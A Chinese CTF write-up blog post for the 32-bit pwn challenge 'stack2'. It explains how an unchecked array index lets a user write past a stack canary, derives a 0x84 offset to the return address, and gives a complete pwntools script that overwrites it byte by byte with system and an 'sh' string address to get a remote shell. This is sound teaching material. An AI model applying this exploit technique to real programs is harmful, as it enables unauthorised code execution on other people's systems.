目录
stack2

1.file命令查看为32位

2.checksec命令查看保护机制

由保护机制我想到的做本题的方法
(1)绕过canary保护
(2)rop链控制执行流

3.做题首先运行一下,查看程序的运行过程

因为做题的关键就在输入输出,本题的输入的作用显而易见,5个选项输入。因此我们可以查看伪c代码并多多观察输入的位置,查看是否有漏洞可以利用。

查看字符串列表发现了熟悉的system函数与、bin/bash
可以考虑使用覆盖返回地址,但本题开了保护,不能直接栈溢出,所以接着看伪代码。

在这里可以看到,没有限制v5的值,也就是我们可以通过这个更改距离v13任意位置的值设为v7,即通过两次输入更改值,那我们是否可以直接找到返回地址的位置并且改为system 的地址呢?
很明显是可以的。那么偏移是多少呢?

v13距离栈底0x70
所以距离是不是就是0x70+0x4呢?
大家可以先思考一下。

这里查询到返回地址和输入的地址。就可以利用差值得出结果0x84
但是不知道为什么0x74却不行

这一题在覆盖返回地址时因为更改的数组的单个字节。是所以要用到多次写入。

本题需要知道小端模式,现代计算机通常使用的一种内存排列格式


下面是脚本

#!/usr/bin/python
#coding:utf-8

from pwn import*






system_addr=0x080485AF
leave_offset=0x84


def write_addr(addr,va):
    io.sendline("3")
    io.recvuntil("which number to change:\n")
    io.sendline(str(addr))
    io.recvuntil("new number:\n")
    io.sendline(str(va))
    io.recvuntil("5. exit\n")

io=remote('111.198.29.45','31725')
io.recvuntil("How many numbers you have:\n")
io.sendline("1")
io.recvuntil("Give me your numbers\n")
io.sendline("1")
io.recvuntil("5. exit\n")


# write  system_addr  0x08048450

write_addr(leave_offset,0X50)
write_addr(leave_offset+1,0X84)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)
# sh_addr  0x08048987
leave_offset+=8
print leave_offset
write_addr(leave_offset,0x87)
write_addr(leave_offset+1,0X89)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)

io.sendline("5")
io.interactive()    
文章作者: zzl
文章链接: https://www.zzl14.xyz/2019/10/11/stack2/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 try
打赏
  • 微信
  • 支付宝

评论